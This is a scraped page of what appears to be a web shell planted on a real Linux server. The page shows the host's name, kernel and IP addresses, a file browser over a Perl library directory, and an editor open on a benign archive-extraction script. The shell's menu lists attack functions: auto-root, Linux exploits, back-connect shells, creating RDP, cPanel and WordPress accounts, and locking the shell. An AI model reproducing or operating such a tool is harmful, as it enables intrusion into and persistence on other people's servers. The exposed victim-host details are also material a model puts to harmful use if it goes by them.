Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.148.104.103
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
vendor_perl /
[ HOME SHELL ]
Name
Size
Permission
Action
Attribute
[ DIR ]
drwxr-xr-x
BSD
[ DIR ]
drwxr-xr-x
Bundle
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
DBD
[ DIR ]
drwxr-xr-x
DBI
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
DateTime
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filesys
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Readonly
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Template
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
YAML
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
threads
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
CDB_File.pm
10.42
KB
-rw-r--r--
Curses.pm
34.98
KB
-rw-r--r--
Cwd.pm
21.25
KB
-rw-r--r--
DBI.pm
304.17
KB
-rw-r--r--
DB_File.pm
62.24
KB
-rw-r--r--
DateTime.pm
115.31
KB
-rw-r--r--
DateTimePP.pm
5.12
KB
-rw-r--r--
DateTimePPExtra.pm
1.33
KB
-rw-r--r--
Encode.pm
32.17
KB
-rw-r--r--
FCGI.pm
7.36
KB
-rw-r--r--
Socket.pm
35.47
KB
-rw-r--r--
Socket6.pm
9.57
KB
-rw-r--r--
Template.pm
24.41
KB
-rw-r--r--
bun-x.pl
1.22
KB
-rwxr-xr-x
dbixs_rev.pl
1.51
KB
-rwxr-xr-x
encoding.pm
20.04
KB
-rw-r--r--
threads.pm
34.48
KB
-rw-r--r--
version.pm
2.85
KB
-rw-r--r--
version.pod
9.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bun-x.pl
#! /usr/bin/perl use CDB_File; use strict; sub unnetstrings { my ($netstrings) = @_; my @result; while ( $netstrings =~ s/^([0-9]+):// ) { push @result, substr( $netstrings, 0, $1, '' ); $netstrings =~ s/^,//; } return @result; } my $chunk = 8192; sub extract { my ( $file, $t, $b ) = @_; my $head = $$b{"H$file"}; my ( $code, $type ) = $head =~ m/^([0-9]+)(.)/; if ( $type eq "/" ) { mkdir $file, 0777; } elsif ( $type eq "_" ) { my ( $total, $now, $got, $x ); open OUT, ">$file" or die "open for output: $!\n"; exists $$b{"D$code"} or die "corrupt bun file\n"; my $fh = $t->handle; sysseek $fh, $t->datapos, 0; $total = $t->datalen; while ($total) { $now = ( $total > $chunk ) ? $chunk : $total; $got = sysread $fh, $x, $now; if ( not $got ) { die "read error\n"; } $total -= $got; print OUT $x; } close OUT; } else { print STDERR "warning: skipping unknown file type\n"; } } die "usage\n" if @ARGV != 1; my ( %b, $t ); $t = tie %b, 'CDB_File', $ARGV[0] or die "tie: $!\n"; map { extract $_, $t, \%b } unnetstrings $b{""};
Close
